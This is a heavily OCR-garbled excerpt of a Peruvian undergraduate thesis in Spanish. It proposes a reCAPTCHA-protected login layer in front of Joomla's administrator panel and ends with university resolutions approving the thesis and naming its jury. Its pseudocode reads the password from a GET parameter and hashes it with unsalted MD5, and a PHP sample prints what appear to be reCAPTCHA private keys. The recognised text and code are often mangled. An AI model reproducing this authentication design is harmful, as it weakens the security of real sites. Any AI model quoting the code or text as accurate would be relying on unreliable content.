ingresar al sistema de administracion de Joomla, tiene que registrarse
con sus usuario y contrasena correctamente ver figura 04, en parte
“logeo proteccion”, una vez legeado correctamente, ingresa al logeo del

administrador de Joomia.
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A continuacién se presenta el prototipo que sera como la aplicacion final
ver figura 05 y también los sistemas que ya existen (figura 06 y 07)

Funcionalidad propuesto graficamente

PROTECCOION OF CUTRTA Conexibn & la administracidn de Joomia!

Figura 05: sistema propuesto  Figura 06: sistema login Figura 07: Administracion

Figura5: muestra la seguridad del administrador de joomla (figura 6).

Para conseguir la aplicacion final, se realizé el desarrollo del algoritmo ver figura 08,
prosiguiendo ia ieciura dei aigoriimo ver pagina 62, para ia comprension dei
algoritmo vy el pesocddigo del algoritmo figura 09, asi de esta manera poder obtener
ei resuitado deseado gue es ia Figura 05.

A continuacion se iievd acabo ei desarroiio de ia apiicacion de proteccion.

4.1.1.3. Desarrollo del algoritmo para la proteccién de puerta trasera
Para el desarrolio del algoritmo se tuvo en cuenta:

Situacion problematica con el Joomla:

- Usuarios que se realizaban escalamiento de users (hackeo del sistema)
- Teniendo la cuenta de administrador, faciimente podian ingresar al

panel de control y vulnerar la base de datos.

Por otro lado también se consider6 aspectos para la seguridad: sélo

ingresado por usuarios {(mano humanay}, mas no por robois informaticos.
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En cuanio a ias encripitaciones se considero ei sisiema MD35 de

vsai.

4.1.1.4. Propuesta del algoritmo
&0
Directo al Back-end
4
@ f User, pass /
A\ 4
3 Usuariozuser .
; FassWUIG=iRIFHjrad) -
Ol O
Usuario y Fassword Sistema Logeo de
Es correcto si Joomta Session iniciado
.
togeo de Joomia es
correcto
e Sistema administrator
° | dejoomia °
Figura 08. Diagrama de flujo (representacién del algoritmo)
La simbologia del sistema del diagrama de flujo se encuentra en el
anexo N° 02.
‘Lectura del algoritmo
Iniciamos la sesion en el sistema propuesto
2. Definimos las variables para usuario y contrasefia
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Asignamos las variables (usuario y contrasefia) bajo la encriptacion de

MDS5 de fenguaje php.

Si el usuario y contrasefia son validos, entonces ingresa al administrador

de joomia; de lo contrario imprimira io incorrecto que fue el logeo (b).

Una vez ingresado compara los usuarios y contrasefias son validas, con

respecto al sistema de joomia y verificando la sesion iniciado y correcto.

Si todo es correcto ingresara al sistema administrator de Joomla como

administrador dei sistema.

Si la sesion iniciado es incorrecto, entonces volvera al inicio del sistema,

para luego proseguir los pasos del 1° al 5°.
Finalizacion de toda la administracién del sistema

inicio
$uguario, Spassword;

$uguario—§_GET[“uscr”);
$password==MDS($_GET["pass"]):
SI
($usuario—usuario joomla) and ($password=password_joomla)
SI
{SESSION!=NULL)
entonces:
ingresn 1l sistoms sdminiscesdor de joomds
14
($usuaric==usuaric joomla) and (§password=pasaword joomla}
Entonces ingresa al administrador de joomla
SINO
epprime: usuario incorrecto

SINO
Vuelve al inicio
FIN SI

SINO
imprime usuario incorrecto
FIN NSI

FIN

Figura 09. PSeudocédigo del algoritmo propuesto
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Resultados obtenidos:

- Se logré implementar el algoritmo(Figura 08) para la proteccién
de pueria irasera, en ienguaje php v come resuitado finai se

muestra en la siguiente figura.

Prototipo del sistema de proteccion de puerta
Trasera

PROTECCCION DE PUERTA
TRASERA

I
are

‘ o CAPTCHA

TIDIS - Sistema protegiendo al Adminsitar tor

Figura 10: aplicacion sistema de seguridad

Descripcion:

Para el sistema se incluyé dos cajas de texto, el uno para
poner el usuario y el otro para poner la contrasefia y el
recuadro de color rojo es el sistema recaptcha, que es un
sistema para ser ingresado por mano humana las ietras que
aparecen, en este caso are arshev, cuya letra estan en
formato imagen, por lo cual el software inteligente no podria
detectar la imagen de las letras para poder ingresar en caja de
texto donde indica “introduzca el texto”. Haciendo que esta
aplicacion sea capaz de proteger de algin atentado
informatico.

El recaptcha, es una libreria que esta codificado en lenguaje
php, cuyos creadores son de la empresa Google. Y para incluir
en el proyecto solo basta poner en el lugar adecuado como se

muestra en la siguiente figura 11, previo inciusion de la libreria
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recaptchalib.php como se muestra en la linea 2 de la

codificacion.
Phaliosn de Sicemimtmanmicmta dal wncnmbale
vvulav WA DA NI IRANR NN I I Wl 5 Wwwla A4 R1"]

EBERBEESEEEEREEcovavowme

<?php

require once{'recaptchalib.php’}:;

// Get a key from https://www.google.com/recaptcha/admin/create

Spublagkey = "6LeGLAATAARAAGVIZ5M2dVMUcCNgaqkKAMOEWO2NQL "

$privatekey = " 6LeGLAATARARAPINSWMFxHQQIbwwwMaMsEZwONH "

§ the reszponse from reCLPTCHL '

$resp = null;

# the error code from reCAPTCHR, if any

Serror = mull;

# was there a reCAPTCHAR response?

if (S_POST["recaptcha_response_field“]) {

Sresp = recaptcha_check_answer {$privatekey,

$_SERVER["REMOTE_ADDR"},
$ POST["recaptcha_challenge_ field"},
$_POST["recaptcha_response_field“l):

if ($resp->is_valid) {
echo "You got it!"™;

} else {
$# set the error code so that we can display it
$error = $resp->error;

Figura 11: codificacion de recaptcha

- Se logré proteger ataques de fuerza bruta (probar todas las
combinaciones hasia enconirar aqueiia que permite ei acceso)

automaticos con el Recaptcha.

PROTECCCION|DE]PUER]]
TRASERA
usuario: portaiweb

cndvasena: |nennnnnnnnnas
b7 r s

' 2
JIntroduzca el texto P < reCAPTCHA
K]

‘ Registrar l
2015 R Sistema protegiendoral
'Adminsitartor)

Figura 12: pruebas sobre ataques de fuerza bruta.
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Descripcion:

El Recaptcha permite comparacion de texto que se muestra en
la imagen con la ingresada en la textbox donde indica
“Introdusca el texto”, esto permite bloquear ataques de fuerza
bruta. El ataque de fuerza bruta normalmente utiliza todas las
combinaciones posibies hasta encontrar ei usuario y ia
contrasefia correcta, mediante software inteligente bajo
plataforma de java y para elio el sistema recaptcha io detiene,
porque tiene ser ingresados por intervenciéon humana las letras
que aparacen en formato imagen. Ya que un programa
inteligente no podria realizar esa tarea, porque tendria que

interpretario la que esta en ia imagen

Se logré proteger el sistema back-end de joomla filtrando
doble seguridad bajo el algoritmo implantado.

| | %Joomlof

Limio [ LR

a Cl.m’*mc:"a T

.' ldioma Pradetermmado .7

Figura 13: sistema de proteccion Figura 14: sistema Login de

Deal lagin da loamla lcamis
Leliogin e Joomia Rislalssitc

Descripcion:

Si el sistema propuesto (figura 13) es validado correctamente y
iniciado la sesion correctamente, entonces ingresa al sistema
administrator de joomla (figura 14) y prosiguiendo al panel del

administrador ver figura 5. De lo contrario no podria ingresar al

pag. 67



panel de control de joomla tal como lo indica el algoritmo
propuesto ver figura 6.

El sistema esta codificado teniendo en cuenta el estandar de
codificacion de W3C.

Sistema que verificador de codificacion estandar
T Serico e Valanndenarado '

Lo Wi I8 BT (9 e v

VIl H 1ecor OB

* Varder madicis URH
CiRe o ST bty

orein |
- vN2s Opikres
Comwter
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Figura 15: verificar del estandar de codificacion

Descripcion:

1300 <2

La codificacion dei sisieina esia respaidado par ei estan
codificacion internacional como la W3C, tal es asi que sélo
Dasta poner ia direccion web de ia apiicacion donde indica
“Direccién”, para la comprobacién y luego nos arrojara el

resuitado iinea por iinea, si es que tenemos errores para
posterior correccion.
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CONCLUSIONES

. Se ha logrado implementar el algoritmo que protege a sistemas web de

los ataques a ia autentificacion en puerta trasera.

En la demostracion del uso de prototipo se muestra que el acceso de
administracion de Joomia es redirigida a dobie seguridad, dando

proteccion sobre los hackers.

La implementacién del algoritmo es una de las soluciones posibles

Con el algoritmo se detuvo autentificacién automatico incluyéndolo el
recaptcha
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RECOMENDACIONES
Explorar los dorks en otros gestores de contenidos y paginas propietarios.

En el algoritmo implementado es una de las soluciones de proteccién, como
también puede ser mejorado debido ai creciente conocimienio de hackers y

vulneracion de los sietmas web.

Realizar periédicamente copias de seguridad de todo el sistema web, para no

cisfrir Ao Lianlonea
DU U IAUNGI O.

Realizar el monitoreo usuarios privilegiados, que se encuentran en el sistema

de Joomla y que cuenten con accesos permitidos.
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ANEXO N° 01

PAGINA GUBERNAMENTAL HACKEADO: GOREHCO

Bl er e LR N -t Pt are ¢ € e
€ C - wwarrgonnusnumgebpe

P SRy WS A VNN

Bssil e s QIRRST TR — e D T

Pagina web del Gobierno regional Huanuco fue hackeado el 15 de Enero del 2015.
La pagina utilizaba el CMS Joomla 3.0 tal como se ve en la imagen siguiente

€ C 0 wwwregionh gobpeft
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¥ Joomlal
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ANEXO N° 02

Elementos del Algoritmo

SIMBOLOGIA ~ PSEUDOCODIGO FUNCION

© Inicio o Fin - Seutiliza para empezar y terminar un programa
Smm— . Utiizar para pedir datos porteclado estos
Conocer o pedir ‘ pueden ser mimeros, textos o datos
: afamuméricos

Sirve para evaluar operaciones aritméticas
Evahiar 0 Asignacion como formular y también para asignar.

Preguntas de decision Strve para hacer decisiones.

i Imprimir ) Imprime ¢l Resultado

— Sirven para guardar la direccion del flujo
l — Flechas de Direccion del programa

Simboiogia del diagrama de fiujo
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“Afo de ta Promocion de la industria Responsable y del Compromiso Climdtico”

UNIVERSIDAD NACIONAL “HERMILIO VALDIZAN” HUANUCO - PERU
FACULTAD DE INGENIERIA INDUSTRIAL Y DE SISTEMAS

RESOLUCION N 0511-2014-UNHEVALFEHYS-12,
Huanuco, 16 de octubre de 2014,

CONSIDERANDG:

Que mediante Resolucién N2 054-2013-UNHEVAL-CEU, del 15.MAY.2013, se RECONOCE, la eleccion de la M.Sc. Guadalupe
RAMIREZ BEYES, coma Decana Vitulae de iz Facultad do Inpenioria Industeial v do Sislemas a partir dol TR.MAY 2013 al

18.MAY.2016;

Que con Resolucion N2 0452 -2014-UNHEVAL/FIS-D, de fecha 01.51:1.2014, se nombra los Miembros Revisores adhoc de
Plan de Tesis para optar Titulo Profasional de Ingeniero de Sistemas, titulado: “ALGORRITMO DE PROTECCION DE

PUERTA TRASERA CONTRA ATAQUES DE AUTENTIFICACION EN SISTEMIAS DE BASES DE DATOS EXPUESTOS A
SERVICIOS WEB”, presentado por el Bachiller en Ingenicria de Sistemas: Wilmer OCHOA ALVARADQ;

Que mediante informes de los sefiores docentes: Dr. Milton Pérez Solis e ing. Eimer Cghuquiyauri Saldivar, en calidad de
Miembros Revisores Ad-hoc del Proyecto de Tesis, hacen llegar Ia CONFORMIDAD vy solicitan se realicen los tramites para
ia continuacian de ia 1esis;

Que revisado el expediente y en mérito al Capitulo IV de la Modalidad de Tesis Art. 15° y 169, se resuelve emitir una

AIVYANY AR M

[ pr s ORI/LADDITAAAN NE DRATCSI AN nr nur'n'rn TDRACINDA
I\LJUIULIUII nrc\uur\nuv l.l llUYL\lU UL

€515, il iado: “ALGORRITMIO DL PROTICCION CULnIA (RAJLDA

CONTRA ATAQUES DE AUTENTIFICACION EN SISTEMAS DE BASES DE DATOS EXPUESTOS A SERVICIOS WEB”
presentado por el Bachiller en Ingenieria de Sistemas: Wilmer OCHOA ALVARADOQ, debiendo el recurrente
proceder a desarrollar su Provecto de Tesis en un tiempo minimn de secentn (60) dins hahiles, St no lo desarrallara en un

plazo de un 3o, debe presentar un nuevo Proyecto da Tesis;

Estando a las atribuciones conferidas al Decano de la Facultad por la Ley Universitaria, por el Estatuto de la UNHEVAL y por

!a Rasol NOORA DN LINFEVAL OF L

SE RESUELVE:

1° APROBAR el Provecto de Tesis Titulado: “ALGORRITVIO DE PROTECCION DE PUERTA TRASERA CONTRA
ATAQUES DE AUTENTIFICACION EN SISTEMAS DE BASES DE DATOS EXPUESTOS A SERVICIOS WEB”

resentado por ¢f Bachiiier en in ;_;" nieria de Sistemas: Wilmér OCHGA ALVARADO.

2° RATIFICAR {a Resolucidn N° 0452-2014-UNHEVAL/TIlyS-D, de fecha 01.SET.2014, con el cual se nombra Asesor de Tesis

ating. Aicides Bernardo ieiio.

3° ESTABLECER que el recurrente deberd proceder al desarrollo de su Proyecto de Tesis en un tiempo minimo de sesenta

{60} dias hatnles.

4° DAR A CONOCER a los érganos internos y al interesado.

()islribucic"m:
CGyT/FIIS
Interesado

Archivo



“Afto de la Diversificacidn Productiva y del Fortalecimiento de la qucacnén

UNIVERSIDAD NACIONAL “HERMILIO VALDIZAN” HUANUCO - PERU
. AAS

FACULTAD DE INGEMIERIA INDUSTRIAL Y DE SISTEMAS
RESOLUCION N2 0125-2015-UNHEVAL/FIS-D,
Hudnucn, 08 de shril de 2015,
CONSIDERANDO:

Que mediante Resolucion N® 054-2013-UNHEVAL-CEU, del 15.MAY.2013, se RECONOCE, ia eleccion de ia M.Sc.
Guadalupe RAMIREZ REYES, como Decana Titular de la Facultad de Ingenieria Industrial y de Sistemas a partir del
1 18.MAY.201E;

Que con Resolucién N¢ 0511-2011-UNHEVAL/FIIS-D, del 16.0CT.2014, se aprueba el Proyecto de Tesis Titulado:
“ALGORRITMO DE PROTECCION DE PUERTA TRASERA CONTRA ATAQUES DE AUTENTIFICACION EN SISTEMAS DE BASES

DE DATOS LRAPULSTOS A SERVICIOS WEB”, presentado  por &l Bachiller en ing

21 RAAD N
a Jalavimil.a

illor en Ingenieria de Sistemas: Wilmar OCHOA ALVARADD, se dirige a

la Decana de la FUS y solicita e nombraxmcnlo de jurados para lz sustentacion de tesis titulado: "ALGORRITMIO DE
PROTECCION DE PUERTA TRASERA CONTRA ATAQUES DE AUTENTIFICACION EN SISTEMAS DE BASES DE DATOS

l'\lhlll‘("rf\(’ A CLDVE 2,
LAF VLI IS MY Jl.ll‘llr’nc Iv"rn

Que en cumplimiento al Reglamento de Grados vy Titulos de la UNHEVAL, Art. 172 al 192, mi Despacho considera
procedente nombrar los |urados de Tesis para el otorgamiento de Titulo Profesional de Ingeniero Industrial, integrado por

cuntro ina\
Ul

araf

c £ lares v un {01 accssitario. £} lurado sz compone de: Presidents,
Secrelario y Vocal. De los wales dos son especialistas dL| tema de la Tesis y un especialista en metodologia de la
investigacion. El de mayor catcgona y preccdenua preside dicho jurado. £1 Jurado tendré la responsabilidad de dictaminar
e Uil pIGEo Gue o exceda 10s Guince {15) dias hébiles, acerca de la suficioncia del trabajo, Si el trabale fuera declarado

insuficiente, o devolvera para que el tesista o corriia en un plazo que no exceda los treinta {3U) dias habiles;

Estando a las atribuciones conteridas al Decano de la Facultad por la Ley Universitaria, por el Estatuto de fa UNHEVAL y por

Aam ranar

|d K(‘ﬁ()lu(,l()n NE U 5. /UI 3-UNHEVAL-CE U

SE RESUELVE:
12 NOMBRAR los Jurados de 1esis, titulado: : “ALGORRITMO DE PROTECCION DE PUERTA TRASERA CONTRA ATAQUES

FirhRl PRI CICTERARLS NI DATDG N DATOS EY¥DUIELTRS A SERVICINS xurnfl
O AUTENTIFICAGION EN SISTERSAS DE BASES DE D rr

Ingenieria de Sistemas: Wilmer OCHOA ALVARADO, integrado por los siguientes docentes:

Dr. Milton Pérez Solis - PRESIDENTE

Ph D, Marcelina Reynaga Martinez - SECRETARIO

ing. Luis Meza Ordofies . VOCAL

M.Sc. Guadalupe Ramire Reyes : ACCESITARIO

ESTABLECER que ei jurado tendra io responsabiiidad de dictaminar en un piazo que no exceds ios guince {155 dlas

72
habiles, acerca de la suficiencia del trabajo.

32 DAR A CONOCER a los organos internos y a los Interesados.

Distribucién:
CGyT.FlIS/Jurados/interesado/Archivo



